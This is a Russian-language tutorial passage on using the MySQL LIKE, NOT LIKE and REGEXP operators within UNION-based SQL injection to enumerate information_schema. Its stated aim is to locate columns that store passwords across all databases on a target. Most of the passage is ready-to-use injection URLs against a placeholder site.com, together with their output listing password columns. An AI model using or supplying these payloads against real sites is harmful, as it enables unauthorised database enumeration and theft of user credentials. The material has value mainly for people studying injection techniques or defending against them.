В этом нам помогут
несколько операторов MySQL, а именно: LIKE, NOT
LIKE и REGEXP. Разберем подробнее.
1.
LIKE.
Оператор LIKE проверяет, соответствует ли
возвращаемое значение заданому образцу.
Например:
Структура доступных баз данных
--database site1
---table news
-----collumn id
-----collumn news
---table users
-----collumn login
-----collumn password
--database site2
---table articles
-----collumn id
-----collumn article
---table user
-----collumn username
-----collumn user_passwd
Теперь представим, что перед нами стоит
задача выбрать все базы, таблицы, которые
содержат столбцы с именем ‘*pass*’. Делаем такой
запрос:
select
group_concat(concat_ws(0x3A,table_schema,table_
name,column_name)) from
information_schema.columns where column_name
like+'%pass%'
Или на примере инъекции с выводом в поле №2:
http://site.com/script.php?id=-1+union+select+1,group_
concat(concat_ws(0x3A,table_schema,table_name,column_
name)),3+from+information_schema.columns+where+column_
name+like+'%pass%'--+
Вывод будет следующий:
site1:users:password,
site2:user:user_passwd
Разберемся с образцом %pass% — % (процент)
указывает совпадение с любыми символами, под
этот образец попадают все значения, в которых
присутствует частица ‘pass’ независимо от ее
положения в значении.
2. NOT LIKE.
Оператор NOT LIKE проверяет соответствие
возвращаемому значению заданному образцу. Этот
оператор абсолютно противоположен предыдущему, и
используя предыдущий пример, мы составим запрос:
http://site.com/script.php?id=-1+union+select+1,group_
concat(concat_ ws(0x3A,table_
schema,table_name,column_
name)),3+from+information_schema.
columns+where+column_name+NOT+like+'%pass%'--+
Будет вывод всех доступных баз и таблиц за
исключением следующих site1:users:password,
site2:user:user_passwd
3. REGEXP (или синоним RLIKE).
Оператор REGEXP проверяет, соответствует ли
значение регулярному выражению. Для работы с
этим оператором следует использовать регулярные
значения в стиле POSIX. К примеру, для получения
того же результата, что и с оператором LIKE в
первом примере, составим регулярное выражение
‘(.*)pass(.*)’, запрос примет вид:
http://site.com/script.php?id=-1+union+select+1,2,group_concat(concat_ws(0x3A,table_schema,table_name,column_name)),4+from+information_
schema.columns+where+column_name+rlike+'(.*)
pass(.*)'--+
Такой запрос возвратит site1:users:password,
site2:user:user_passwd
Итак, мы разобрали три оператора на примере
имени столбца, аналогично их можно использовать
в имени таблицы (table_name в базе tables базы
information_schema).
WARNING! Не забывай, что
база information_schema присутствует только в
MySQL версии 5.* и выше.